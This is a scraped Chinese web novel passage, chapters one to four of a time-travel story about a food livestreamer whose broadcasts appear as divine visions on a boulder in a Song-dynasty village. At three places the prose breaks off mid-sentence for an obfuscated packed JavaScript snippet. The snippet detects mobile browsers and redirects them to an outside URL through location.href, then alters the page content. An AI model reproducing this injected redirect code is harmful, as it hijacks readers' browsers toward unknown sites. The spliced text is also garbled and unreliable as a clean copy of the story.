《汴京小饭馆》 1. 穿越拜神仙 《我在古代播美食》 作者:倚微风 晋江文学城独家发布 谢绝转载 请支持正版 ****** 这是哪里?看看四周,陈青青一时间有些晕。 难不成真叫这快递箱子累晕了?低头看看自己刚拖过来的大箱子,陈青青不禁晃晃脑袋闭了闭眼。 乌黑的头发随着头的晃动摆动起来,有些微的疯狂感。 简直是要疯了,怎么拿个快递就到了这莫名的地方! 陈青青睁开眼,没变地儿,还是这里。 陈青青有些慌张。 四下打量,自己正站在一排屋子前面,房门敞开着,屋里似乎没有人。 屋子约有四五间的样子,青砖起底的土墙,屋顶盖着青瓦很是古朴,不像是现代的建筑。院子倒又大又宽敞,两旁有厢房茅舍,四周是树篱。院子一角一丛天南烛,枝叶暗红,结着一簇簇的红果子。 一阵风吹过,陈青青打了个寒噤,这才觉察出有些冷。 怎么到这地方天气都变了?陈青青搓搓胳傅,她穿了件薄外套,挡不住冷风吹。 不对,明明才刚进秋天才对,看这四周的样子怎么像是初春?天气晴明,太阳倒是不错,就是不太暖和。 实在有些冷,陈青青打算进屋看看。 屋子坐北朝南,房门大开。 “有人吗?”虽然屋门是敞开的,陈青青还是抬手扣了扣门问了一声。 没有人应,陈青青索性进了屋。 屋子隔成了明暗间,外面像是待客的地方,桌椅摆设有些陈旧,却收拾得干净利索。 墙面是白灰墙,有些灰暗,不像现代的房子那样明亮,就连窗子也是也是古代常有的那种木格窗。 难道这是古装剧拍摄地? 陈青青疑惑着看了看暗间,看起来像是卧室,床上挂着帐子也有些陈旧了,一旁衣架上搭着看起来是古代的衣裳。 这分明就是有人生活的样子。 陈青青索性又去了西边隔壁屋子看了看。 敲敲门,一样无人应,陈青青推门而入。 很显然这是一间闺房,不管是屋内陈设还是床上的帐子和铺盖,明显带了些女子用的色彩。比东屋里的陈设又新了许多,依然干净整洁。 实在有些冷,陈青青想着得先找点衣服穿上再做打算。 床头的衣架上有衣服,貉袖、棉袄、短衫、百迭裙,这是宋朝的衣裳?陈青青一时也顾不了那么多,先套在身上再说。 只是古代样式的衣裳陈青青实在不会穿,费了半天劲终于把棉衣套在了身上。 竟然还有些合身。 再看一旁靠窗的地方有柜子,上面放着面镜子,还有头绳和木梳等杂物,勉强算是个梳妆台的样子。 陈青青走近了看看镜中的自己,竟变得年纪小了许多。自己本来都二十好几了,怎么这会儿看起来不过十七八岁的样子。 脑中突然灵光一闪,难道竟是小说中常写的——自己这是穿越了! 还是穿到了古代! 陈青青一瞬间只觉得寒毛都立了起来。 如果真是穿越,自己该如何应对! 突然想起和自己一起过来的快递箱子,先把这个藏起来才是最要紧。真要是穿越了,不管是穿到了哪里,露了马脚就怕小命休矣。 陈青青慌忙跑了出来,把快递箱子拖到了西边的厢房里。 说是厢房,不过是两旁搭起的茅屋,看来也是放杂物的地方,倒正好藏这箱子。 还没从厢房里出来,陈青青便听到外面有人喊自己。 “青青,青青哎!” 是个女人的声音,应该有些年纪了。 不对,不是喊自己的。 陈青青刚要应一声,又赶紧捂住嘴。 这里怎么会有人认识自己! 犹豫着从厢房走出来,陈青青看到一个妇人推开院门走了进来。 四十多岁的年纪,一身褐色的衣裙,头上挽个圆髻。 看衣着打扮和屋子里的衣裳一样,应该是宋代的。 难道我是穿到了宋朝? 陈青青不敢吱声,只站在门口看着那妇人。 “可怜的孩子。”妇人上前扯了扯青青的衣裳,“这是自己穿的?” 也不管陈青青回不回答,又指指她头发,“也不会梳个头。” “这可怎么好哟。”妇人边说着边推着陈青青进了西边的正屋。 是陈青青看着像闺房的那间。 妇人把陈青青按到镜子前坐下,拿起木梳给她梳头。 “青青呀,你也不小了,要学着自己做事了。”看陈青青呆呆的样子,又叹一口气,“也不知道好好的孩子怎么成了这样。” 陈青青更不敢说话了,只随她摆弄。 给陈青青胡乱梳了个双螺髻,妇人看看外面天光,只道:“咱们两个要快些了,别误了时辰。” 又叫陈青青站起身来,给她整理衣裳,嘴却是没停下,“你看你,梳头梳头不会,衣裳衣裳穿不好,离了你爹娘可怎么办哟!” 也不指望陈青青回答,她兀自说着:“好歹他们两个出门前还知道叫我过来。” 当然,人家两口子也是出了钱的,足足半贯钱呢,也就那两人疼闺女才舍得出这么多钱。 想到是拿了钱才来看看的,妇人不免有些心虚。瞅了陈青青两眼,看她还是那副呆愣的样子,又想自己到底也没亏待人,又气足了些,“我是对街的钱嬷嬷……嗐,给你说了你也不懂……” 钱嬷嬷拉着陈青青出了屋门,“可要走快点,别误了拜神仙的时辰。” 钱嬷嬷说这半天,信息量还是有些大,陈青青一时没反应过来。 可这拜神仙又是什么鬼,难道说不是穿古代,竟是穿到了修仙世界不成! 钱嬷嬷牵着青青的袖子朝外走去,风一吹还是叫人觉着有些凉。 “出了二月就好了,天也暖了。”钱嬷嬷兀自嘟囔着。 陈青青也不吱声,只随着她走。 自己穿过来的这个应该是有些傻的,所以不说话也没什么。 也不对,自己分明是身穿呀,还带着东西穿着自己衣服来的呢。 而这爹娘又是怎么回事?还出远门了? 最最奇怪的是拜神仙,还得挑时候? 陈青青边走边胡乱想着。 穿过院门,陈青青看清了,做篱墙的是枳树。 陈青青知道这树,是因为爸爸妈妈种菜的园子就以枳树做了篱笆墙。 想起爸爸妈妈,陈青青一时有些黯然,也不知道他们现在怎么样了。 枳树的树干光滑,枝上有长长的刺,做篱笆墙倒是正适宜。现在树上还是光秃秃的,不久的以后会开一树一树的白花,有些香气。 就是那个“橘逾淮而北为枳”的枳树,“枳花明驿墙”的枳树。 陈青青不由嗤笑自己一下,都什么时候了,还想着这些有的没的,真是职业病犯了。 陈青青是杂志社的一名小编辑,刚转正还正有些小得意,没想到竟一下子到了这样的鬼地方。 出了院门,门前是一条大路,再前面是一条河。大路算得上宽阔,只是路面有些坑洼不平,路两旁枯黄野草丛中夹杂着几点绿叶,越发显得有些荒凉。 河边种着柳树,此时柳枝随风,带着些许的绿意,确实有些春的意味。 路上没什么人,陈青青四下看了又看,左右也没什么邻舍,这个家应该是村里最靠前的屋子了。 再朝后走,屋舍才渐渐多了起来。土墙青瓦茅屋,都是古代的建筑。 这下陈青青确定自己是穿到了古代。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178930|180861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 钱嬷嬷只管催促着快走,陈青青看出来了,她确实很信服那位神仙,是真的怕耽误了。 不禁对这位要去拜的神仙充满了好奇,这究竟是位什么样的神仙? 终于,远远地便看到了一群人聚在那里,钱嬷嬷显然放下心来,大大松了一口气,“赶上了赶上了!” 只见人群按照男女分成了两片,东边的一片是男人们,西边是女人们。显然女人这边更热闹一些,三五成群的围成小圈子,正说得起劲。 见两人走过来了,渐渐有相熟的人过来问好搭话,钱嬷嬷一一笑应着,也有人朝她问陈青青。 “你又把陈家的小娘子带来了?”一位妇人笑道。 “我叫她也过来沾沾神仙的仙气儿,万一再好了呢。”钱嬷嬷也笑着回一句。 “钱嬷嬷,陈家两口子还没回来呀?”又一位问。 “哎,也不知道什么时候回来。”钱嬷嬷叹一声,回一句。 “多亏嬷嬷心肠好,把小娘子照顾得好。”众人便称赞起来。 钱嬷嬷有些小得意,忙摆手说不。 又有人说起和陈家两口子一起去的刘大郎,说他家那孩子可怜,自己一个人在家又没了娘。 有人指指陈青青,那意思是这个更可怜。 众人便闭口不再说了。 陈青青心里有些凉。看看这些人的着装,再听听她们说的话,陈青青觉得自己这是穿到了宋朝。 陈青青前阵子都在看宋朝的资料,如今见到的这些都——眼熟。 宋朝,分北宋和南宋,共有十八位皇帝,历时三百一十九年。最最后面的皇帝离现在也有八百多年了。 八百多年前!多遥远的年代,如今自己竟来了。 陈青青闭了闭眼。 多想,再睁开眼就回去了。 突然有人拽自己的衣服,陈青青睁眼低头看了看,是个小女孩儿,十来岁的样子,梳着双丫髻,只是发髻已有些散乱了。 身上衣裳也有些脏,面黄肌瘦的,眼睛很大倒透出几分可爱来。 “姐姐。”小女孩仰着小脸看着青青,叫姐姐,声音怯怯的。 “我爹爹和陈大伯他们去了山里,会回来的。” 这应该就是刚才众人说的那个了,刘大郎的孩子,娘没了,爹也不靠谱,把这么小的孩子扔在家里。 “等会神仙姐姐出现了,咱们一起拜,求她保佑我爹爹和你爹娘。”小女孩声音怯怯的,鼓着勇气说了长长的一句话。 陈青青心下一软,朝小女孩挤出一点笑意来。 小女孩没料到陈家姐姐竟然像是听懂了一般,一脸的诧异,转又高兴起来,伸出手去牵陈青青的手。 陈青青握住了小女孩的手,软软的,带着凉意。 都是无家可归的孩子了,真可怜! 突然人群一阵骚动,只听有人高声喊了一句:“时辰到了。” 本来还乌泱泱的人群突然变得鸦雀无声。 陈青青正诧异着,见人们都瞅向了一个方向。 陈青青下意识地看了看天空,神仙嘛,都要从天而降才对。 天上除了几点云彩,别的什么都没有。 小女孩扯了扯陈青青,又指了指不远处,示意姐姐看那里。 陈青青这才发现不远处有块巨大的青石。 刚才只顾着观察人群了,倒是没注意到这石头。 石头很大,向南的一面石壁光滑,像一处凿磨好的山崖等人来雕画。 一道光闪过,石壁上竟如幕布般出现了画面。 天幕降临,仙机已现。 “愿上仙保佑。”人们齐声高呼,呼啦啦跪了下去。 “欢迎大家来看我的美食直播……”甜美的女声响起。 陈青青站在那里,只一眼,就看出——这……这不正是我的直播间! 2. 草莓奶茶圣女果 青云镇是京都汴州城郊的一个小镇子,镇子东北面有一片山,群山连绵起伏,景色秀美。 镇子里的人只敢去近处的这座山,再朝深处无人敢进。祖宗传下来的规矩,说是山的深处有神仙,万不可惊扰了仙人,否则有去无回。 就连镇子北面的巨石也叫人敬畏。 那是一块巨大的青石,石面光滑,偏偏巨石上面有一个大大的牛蹄印,就像是一头牛走过软泥地形成的蹄印。 这可是坚硬的青石,怎么能有牛印上这么一个蹄印。 相传这是天上的金牛星下凡,走过这里留下的神迹。 代代相传,青云镇上的人很是相信,自己住的地方就是神仙眷顾之地,是块福地是块宝地。 如今这块福地又显现了新的神迹。 那还是半个多月之前,临近晌午,突然一声巨响,万里晴空突然打了声雷,牛蹄石南面的石壁上便出现了光影。 正好路过的几个人差点吓个半死。 光幕闪过,却是精美的画面在石壁上缓缓展现。 一个甜美的女声随着画面娓娓道来:“这是草莓,当然大家都见过……” 几个路人站在那里呆若木鸡,这石壁上的光幕实在太过惊人,竟然出现了画面。画面不但会动,还有人说话! 几个人愣愣地瞅着,听光幕上那人说草莓大家都见过,不由心道:根本没见过,这草莓是什么? 几人当中有一个叫孙二的,平日里人也机灵些,这会子有些缓过神来,不禁抓着旁边人的胳傅兴奋道:“我的老天爷!咱们难道是遇到神仙了?” 他这样一说,其余几个人才醒过神来,晴空霹雳不说,石头上还有画有人说话,这不是神仙又是什么! “是神仙,是神仙!” “怪道祖宗说咱们这里是福地!” “咱们后面那山不就叫仙人山?” 众人七嘴八舌地说着,一时都跪倒在地,不住磕头。又怕自己一个不小心得罪了神仙,口中喃喃不停:“神仙保佑……神仙保佑……” 光幕上画面继续,一颗颗草莓在绿叶的衬托下,越发像晶莹的红宝石,即使你没有吃过,也知道那一定是诱人的美味。 几个人单看着画面就看馋了,又听那女子声音道:“草莓的味道甜中带着的酸……” 原来是酸的呀,那不好吃,几人刚想到这里,又听光幕中的声音继续:“那么一点酸却恰到好处,清新又香甜,恰如春天的味道。” 女子的声音实在甜美,画面中的草莓实在馋人,竟叫几个人都忍不住咽了一下口水。 “乖乖,神仙吃的东西就是不一样。”孙二不由感叹,这么好吃的东西怕是想也想不到。 “这位仙子说得好馋人呀。” 孙二听旁边人这样叹,不禁笑了,“要不说是仙子呢。” 听仙子说完了草莓,又开始说什么奶茶。 仙子不但展示了这样东西,还说了奶茶的做法,什么茶叶焦糖和牛奶等等,孙二等人听得云来雾去的,没听明白。 转又安慰自己,神仙的东西哎,哪能那么容易懂。 孙二几人正看得起劲,连自己跪在地上都忘了,哪知听那仙子道一声“下回见”,石壁上的光幕就倏地不见了。 再看那石壁光滑如旧,半点痕迹也无。 “神仙走了?”几个人你瞅瞅我,我瞅瞅你,互相问道。 “你没听那仙子说嘛,下回见,说明神仙还会来的。”一个人道。 其他人也附和着,跪了半天,腿都有些麻了,互相搀扶着起了身。 孙二拍拍大腿道:“遇见神仙这样的大事,咱们要向里正说说才是。” 其他人都点头,这样幸运的事不但要和里正说,还要和别人炫耀炫耀才对! 不多时,青云小镇上的人都知道了,牛蹄石上出了神幕现了神仙的事。 里正一开始并不相信,可孙二几个人说得活灵活现,又信誓旦旦地保证,再加上几个人平日里不是那种说瞎话的人,里正这才信了他们几个的说词。 里正带了人去那牛蹄石一探究竟,村里的人也都听说了,一起跟着去了。 呼啦啦一群人到了牛蹄石那里,哪有什么神幕,什么也没有。 孙二有些急了,“仙子说了,下回还来。” “神仙还能光在这里呀,见一回神仙那是不得了的事情。” “就是就是,神仙可不是想见就见的。” 其他几个也纷纷说着。 里正思忖片刻,便定了主意,神仙要是还能来,咱们守着就是。 里正派了人,轮班守着牛蹄石,就等着神迹出现。 这一等便是六天。 等了这么多天,不说其他人,就连里正心里也打了退堂鼓,还是陈大郎陈彦升劝住了里正。 “里正二哥,若真有神仙多等几日又如何?再说了这神仙哪能轻易就见到了。” 陈彦升识文断字,又在汴州城里做过账房先生,他的话里正向来听得进去。 里正便又命人继续守着,接着等。 正当人们都有些绝望时,神迹竟又出现了。 第七日,还是在牛蹄石的石壁上,神幕再现。 光影闪现,巨石前的人们跪了一地。 很快又有一大群人涌过来,跪在那里,恳请请神仙保估。 声音甜美的仙子这回说的是圣女果。 又是完全没见过的东西。 跪在那里的人们又惊又喜又有些害怕。 喜的是真能见到神仙,怕的是没供奉好会被仙人怪罪,招来灾祸。 看那画面上一串串的或红或黄的果子挂在藤蔓上,煞是惹人喜爱。如宝石似玛瑙,叫人可望而不可及。 仙子声音恰如莺出幽谷:“圣女果清甜爽口,营养丰富,对各种疾病都有好处……” 好吃还能治病,这真是仙果呀! 田娘子和丈夫陈彦升跪在一起,听仙子这样说,心里一酸,要是有这样的仙果给闺女吃了,她……也会好起来的吧。 看一眼身边的人,他恰好也望了过来,田大娘子便知道官人也有这样的想法。 可这仙果又从哪里求呢…… 听那仙子说完了圣女果,又换了一样东西。 仙子说这个叫蛋糕,如云朵般轻盈,甜软香滑,入口即化,是最好吃的。 说得人忍不住地咽口水。 众人还在回味中,光幕一闪,只留石壁如旧。 众人这才回过味来:神仙又没了? 相携起身,心中有疑问却不敢谈论,只各自散去。 孙二他们几个因为最先见过神幕,各自被一群人拥着往回走。 “怎么仙子光说吃的呀,可太馋人了。”一个人问孙二。 “仙人的事,不是我们能知道的。你不也听到了,仙子说这是什么美食直播,就是专门说好吃的,你笨呀你!”孙二作为首见仙子的人很有些得意。 田娘子和陈彦升一起慢慢朝家走去。 “下回神仙要是还来,带闺女一起来沾沾仙气。”田娘子提起女儿,心里不免叹一声。 “好。”陈彦升知道她的心病,柔声应道,“都听你的。” “仙子说的那神仙果子要是能找到就好了……”田娘子低声喃喃道。 是不是闺女就有救了呢? 陈彦升没听清她的话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178931|180861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他也在想闺女的事情,闺女要是能好了,那真是不敢想的好事。 第二天,陈彦升便找到了里正,说了自己的意思。 “我觉得石壁上的神幕这件事还是得向上报,报到县里府里才对。” 里正也正有此意,听他这样说便笑道:“我也正有此意,有神仙显灵可是件大事。” “朝上报可稳妥?”里正又问一句。 “稳妥,这是祥瑞之事。”陈彦升点点头,祥瑞之事,就算是宫里的官家也是爱听的。 听陈彦升这么说,里正便拿定了主意。 “我来也是想说一声,我打算和我家娘子一起上山,看看能不能找到什么治闺女病的药……” 陈彦升想想自家娘子,不禁苦笑。昨天回到家里就一直念叨着要进山去找仙果给闺女治病。 闺女的病一直如大山般压在夫妻两个的心头。 自从昨天看仙子说那什么圣女果后,田娘子就一心认为这是神仙给的启示,一定要进山去找仙果给闺女治病。 听娘子这样说,陈大郎又难过又是心酸,劝了又劝也没劝得住,便想索性陪她去又如何。 里正咂咂嘴,这时候才刚开春,山上能有什么,去也是空跑一场罢了。 这两口子为了闺女也是倾尽所有了。 本来两个人在汴州城里一个做账房一个在食肆里帮厨,小日子过得不错,没想到本来伶俐的闺女生了一场怪病,竟然变成了个痴儿。 为了给闺女治病,两口子把家底都掏空了,折卖了家产,四处求医,最后无法只得回老家安身。 陈彦升识文断字,又为人厚道。乡下地方识字的人本就不多,街坊邻里不论是红白喜事还是写信立字据,找到陈大郎这里无不爽快应下,很是得乡亲爱戴,就连里正也高看他一眼。 “大郞,不是老哥哥劝你,这会子去山里能有什么?再说那山里可不是容易去的。”里正劝他一句。 陈彦升苦笑,“哥哥的话我明白,只是我娘子她……” “唉,只当全了她一片心罢。” 看他主意已定,里正也不再劝,只是再三叮嘱:“一定记得只上前山,后面那片山一定不要进。” “我晓得。”陈彦升应道,祖宗传下来的规矩,懂! 听说陈大郎两口子要进山,后街上的刘大郎找了过来。 刘大郎也是可怜人,娘子前几年有病去了,他一个人又当爹又当娘的拉扯着闺女。年前闺女生了病,自己又没钱看郎中,多亏了陈彦升悄悄给开了个方,这才过了难关。 要说陈大郎陈彦升也是个能人,这些年因为闺女的病,他也钻研起医书来,竟也知道了不少方子。只是到底是自己琢磨也不敢乱开方子,还是看刘大郎确实可怜,又一样是闺女生了病,这才过去看了看。 一看那孩子的病,陈彦升也有了底,开了方子果真药到病除。 陈彦升知道自己学艺不精,便嘱咐刘大郎不要声张。只怕到时别人知道了找上门来,自己是看还是不看?看吧又怕会耽误了人家病情,不看吧又白白折了人面子,就怕好处落不到反积了仇。 刘大郞一直记着这份情,听说陈家要进山的事,便想陪着一起去。一来也还了情分,二来家里实在困难,也想进山看看万一再有什么收获。反正也就几天的事,耽误不了开春耕地。 看刘大郎也是一片诚心,陈彦升想想便答应了。 陈家托钱嬷嬷照看闺女,又给足了钱,钱嬷嬷喜笑颜开地应下了。 刘大郎把闺女托付给了自己弟弟家,虽然知道刘二郎向来是个抠的,一时也没别的法子,只得如此了。 两家子三个人收拾收拾,便上了北面的神仙山。 3. 我的直播间 陈青青站在那里,还在发愣呢,猛一眼看到石壁,差点喊出声来——那,那不就是我的直播间嘛! 哎,也不对。陈青青仔细看看,原来直播间里的人打在屏幕上的话看不到,只自己在那里叭叭叭地说呢。 陈青青正想着呢,冷不丁被人一把拉了下去。 “你这孩子,还不快跪下。”钱嬷嬷一面压着声说着,一面直起身子把陈青青拉了下来,“快跪好,求仙子保估你好起来!” 陈青青四处张望了一下,只见一大片人都虔诚地跪在那里,不由心里长叹,莫名其妙来这里不说,还要跪自己!还保估,我自身都难保了,能保佑个啥! 不过形势逼人,陈青青不得不也跪了下来。 这回石壁上直播说的水果是樱珠。 陈青青一听就知道了,这是自己前几回的直播。想一想,这是第几回? 对,是第三回。 陈青青在一家杂志社上班,是一名美食版块的编辑。虽然她也是刚转正,但这些不重要,重要的是她还是一名主播。 一开始是为了锻炼自己的写作能力,她常在网上发一些自己拍的关于美食的小视频。 当然,最主要的她热爱美食。 因为妈妈是做饭的好手,陈青青从小被养刁了嘴,是吃货一枚。当然,稍带着对美食也有一定的鉴赏能力。 陈青青拍视频很有一手,拍出的视频很“勾人”,常见的食物叫她那么一说那么一拍,隔着屏幕就带上了香气,带上了诱人的味道。很快她发视频的账号就有了人关注。 关注的人多了,就有人怂恿,博主拍美食拍得这么好,干脆开直播吧。 正好又是陈青青转正的关键期,以后的工作里还要进行实地采访什么的,直面陌生人。陈青青一咬牙,开播开播,锻炼锻炼自己。 开播的时候依稀正是春风沉醉的天气,一年之计在于春,开播吧,陈青青! 平常看别人开播很容易的样子,轮到自己做还真没那么容易。自觉得准备很充分了,真开播时,陈青青还是有点慌。 陈青青的直播很有些“与众不同”,她先放了一段视频,是草莓的。有在父母的菜园里拍的,枝叶鲜嫩,草莓清新可爱;也有洗好了放在精心挑选的盘子里的,草莓带着水滴,如红宝石般晶莹。 “这是草莓,当然大家都见过……”陈青青开了腔亮了嗓。 陈青青觉得自己的声音都有些颤了,是紧张的。好在直播间里人不多,又都是老粉,陈青青紧张了半天才放松下来。 【草莓拍得怪馋人!】 【主播声音好听!】 【视频拍得不错!】 直播间里都是鼓励的话,陈青青放松了不少。 万事开头难。 开了头,陈青青就觉得容易不少。 “草莓口味甜中带些微的酸,吃起来就像吃到了春天的味道。” 陈青青说着说着又有些馋了,草莓真是春天里最美好的风物! 【酸酸甜甜,初恋的味道……】 有人在直播间这样说。 【要我说,甜甜的,是主播声音的味道。】 又有人这样说。 屏幕上一时哈哈笑成一片,陈青青也笑了。初恋的味道啊,陈青青的还不知道在哪里珍藏着呢。二十多岁的人了,都没谈过恋爱,想想真是叫人心酸呐! 看完了草莓,陈青青端上了一杯奶茶。 当然是外卖来的。 其实奶茶做起来还是挺容易的,陈青青也会做。只是今天第一回直播,紧张的心情不允许她安心做奶茶。 奶茶的原料就是茶叶,糖和牛奶。茶用红茶,糖最好用焦糖,当然红糖、白糖都行,用焦糖就是图个颜色好看。用量多少就根据个人口味来了,可淡可甜,丰俭随意。 【主播真是声甜手巧!】 【建议下一场直播制作奶茶。】 …… 看着直播间里反响还不错,也陆续有人进来。 陈青青这才真的松了一口气。 说完了做奶茶,时间也差不多了,和众人约好了下回见,陈青青关了直播。 其实陈青青知道,自己这样的直播是直播界的一股清流,不,是泥石流。好人家的美食直播哪有来上段VCR的! 好在看直播间里的反应,效果还是可以的。 行,开了个好头! 陈青青举了举拳头对自己做了个加油的姿势。 青青,你可以的! 第二回的直播还是在中午。 青青想反正自己也要吃饭的,索性就吃播吧——边吃边播。 这回的短片说的是圣女果。 陈青青习惯叫做小西红柿。 取材还是父母的菜园子。正恰好妈妈刚给她寄来了一包小西红柿来,也算是用上了。陈青青很喜欢吃这个,酸酸甜甜,多水多汁。 陈妈妈田女士知道闺女爱吃这个,特地把菜园里刚下来的头茬摘下来,寄了一大包过来。 田女士是个闲不住的人,退休了到郊区弄了块菜地种菜,一来二去的竟投资搞起了共享菜园。 这下,不但田女士不着家了,带着陈爸爸也一起去了郊区。 其实老两口也有些放心不下陈青青,三十岁上才生了闺女,那可真是当作宝贝来疼的。倒是陈青青看得开,鼓励妈妈做自己想做的事情。 退休了,正是闯的年纪! 所以陈先生和田女士边感叹着闺女长大了,边在菜园里种起了菜,乐不思蜀。 陈青青有空了也会去菜园里,看着那累累果实和青青绿叶,确实叫人不想回到城市的水泥地。 陈青青的视频拍得越来越有水准了,翠绿藤蔓上的串串小西红柿红得可人,有细小的水滴慢慢滑过,更衬得果实诱人,叫人恨不得吃上一口才好。 “据说圣女果对各种疾病都有一定的疗效哦,所以,请多吃吃它吧。” 陈青青的甜美声音对圣女果做着介绍,好吃还治病,真是果美心善! 【馋了,真看馋了。】 【我要吃好吃的小西红柿!!】 【主播,哪里有这么好吃的圣女果呀!我平常买的都不太好吃。】 直播间里看馋了的众人嗷嗷直叫。 陈青青不禁笑了,那下面要说的这蛋糕岂不是更馋人! 蛋糕是田女士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178932|180861||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给闺女点的外卖,用田女士的话说,这是一家仅次于她手艺的店,自己没空做给青青吃,就点个外卖吧。 田女士手巧,不做饭做得好吃,各种蛋糕点心更是不在话下。陈青青从小吃刁了嘴,当然也跟着妈妈学了不少的菜式。 虽然只是理论上的强者,可说出去也足以叫人骄傲了呢,这年头会好多菜的人可是很了不起的! “下面来看看这个蛋糕吧。”陈青青看着蛋糕也有些忍不住了,“你看这如云朵般洁白轻盈,便是奶油了。” “嗯嗯,确实好吃极了,入口即化,香甜可人。”陈青青叉了一块蛋糕放进了嘴里。 直播间众人眼看着甜美的蛋糕少了一小块,又听陈青青这样说着,真是“生可忍熟不可忍”! 【快快交待,是哪里来的蛋糕!】 【上链接,上链接!】 哈哈,一生好强爱链接的种花人!陈青青不禁失笑。 链接是不能上的,平台不允许,把蛋糕的包装展示一下下还是可以的。 聪明的直播间看客们终于满足了一些些。 【下期可以直播做蛋糕。】 【对着主播的美食,我勉强吃下了手里的外卖。】 直播间比上回的人又多了些。 陈青青看看陆续进来直播间的人,心里有了底,看来我这直播界泥石流也还可以的! 那么下一回直播,得想办法送粉丝些福利才是。陈青青暗想。 * “青青呀,用心拜一拜。”钱嬷嬷扯扯陈青青的袖子,悄声朝她道。 啊,拜一拜?陈青青从回想中转过神来。 拜什么拜呀,拜那个还不如拜我呢,好歹我是真身!陈青青心道,拜了也没用,我都糊里糊涂来了这里,自己还不知前路在何方呢! 陈青青转头瞅瞅四周,都是虔诚下拜的人。 好吧,若是真有灵,求求老天爷,让我回去吧,我要回家!我要回家! 陈青青虔诚低头拜了下去。 再抬头,好吧,还是原来的样子。 看来求人是真不如求己呀! 如今这个情形,只得走一步看一步了! 陈青青仔细朝石壁上看去,对,这是第三回直播的内容。 第三回直播陈青青还是和前两次一样,先放短片再来实物,誓将这另类直播进行到底。 不过这回视频是妈妈拍的,她们菜园隔壁的果园里有人种樱珠,田女士专门去拍了视频来馋闺女。 春天里的第一树樱珠,活枝鲜叶,红色的果实如玛瑙般点缀在枝头叶间,仿佛隔着屏幕就能感受到它的香甜气息。 视频发过来,确实把陈青青给馋到了,好想吃樱珠! 当然田女士是疼闺女的,怕真把孩子给馋坏了,给青青寄来了樱珠。把陈青青高兴得一个劲地给妈妈发语音:【世上只有妈妈好!】 田女士也是会逗孩子的,直接发过消息来:【樱珠是你爸去摘的,快递也是他寄的,哈哈,我这就把语音放给他听!】 把陈青青急得,赶紧又说好话哄陈先生。 有了这么好的素材,陈青青当然要到直播间里去馋别人了。 4. 妈妈的快递 田女士的视频拍得特别成功,成功馋哭了直播间里的人。 【这么好的樱桃,求炫我嘴里!】 【什么樱桃,那叫樱珠!】 【樱珠,樱珠,还车厘子呢,还不都是樱桃!】 直播间里的人为了樱桃的名字也是力求自己才是最对。 “好,好,好!看大家都这么热情,今天主播也是要送一波福利来了,随机揪一个小伙伴,送圣女果……” 妈妈寄来的圣女果有点多,陈青青想着干脆分着吃算了。 陈青青话还没说完,公屏上就开始了有人问了,那样诱人的圣女果,谁不想吃呢。 【是上回直播的那种圣女果吗?】 【我想要,我想要!】 【我也要,我也要!】 …… 一时间直播间热闹了起来,原来不说话的人也在屏幕上发声了。 “今天大家是真热情哈,不知道的还以为我要火了呢。”陈青青笑得开心,自嘲一番。 【说真的,看着这樱珠,再想着圣女果,手上的外卖也不香了!】 【好在,主播的声音好听,勉强把碗里的面吃了。】 【对,主播声好听,吃东西的时候听很下饭!】 陈青青不禁扶额而笑,我手上的方便面也不好吃了呀!圣女果和樱珠好吃,也不能当饭吃,今天陈青青的饭很简单,吃泡面。 “哎……今儿主播的饭也感觉不香了呢。”陈青青说着,镜头给了自己泡好的方便面。 【哈哈,主播也吃泡面了,我心理平衡一些些了。】 【我也在吃方面面……】 【面前的牛肉面有些香了,嘿嘿!】 “呃……其实方便面也挺好吃的,口味多还方便。热水一泡,又有汤有面又有菜,还要什么自行车。”陈青青调侃了一句。 直播间公屏上一时间哈哈哈连成了片。 是呀,都吃泡面了,还要求那么些干嘛。 幸好此时的人们看不到公屏上的话,陈青青一面庆幸,一面看着石壁上再现自己的直播,不禁有些尴尬,忍不住地要遮上脸。早知道我的直播间会被投屏到了这里,我再用心些就好了…… 跪在牛蹄石前的人们没人注意到陈青青尴尬的样子,他们都听到了,仙子说了,要送仙果。 也不知道哪个有福的人,能得仙子仙果相赠,真是八辈子修来的福分,祖宗烧了高香。 跪拜得越发真心起来。 陈青青又在暗暗庆幸,好在这个大石头上的直播看不到屏幕上的互动,要不可真得惊掉他们这些古人的下巴了。 陈青青确定了,自己是穿到了古代的某处,只是不知道这里到底是什么朝代?现在又是哪个皇帝?什么时间点? 一时间直播结束,耳听得仙子又和人约定了下回见,众人放下心来。看来下回还能见到仙子,真是神仙保佑! 光幕闪过,石壁又恢复了原样。 众人纷纷互相搀扶着起了身。不扶不行呀,跪的时候久了,腿脚都有点酸麻了。 钱嬷嬷半扶半拉扯,拽着陈青青起了身。 “回去了。”又怕陈青青听不懂,指指陈家的方向,和她一起朝回走。 人们边走边议论起来。 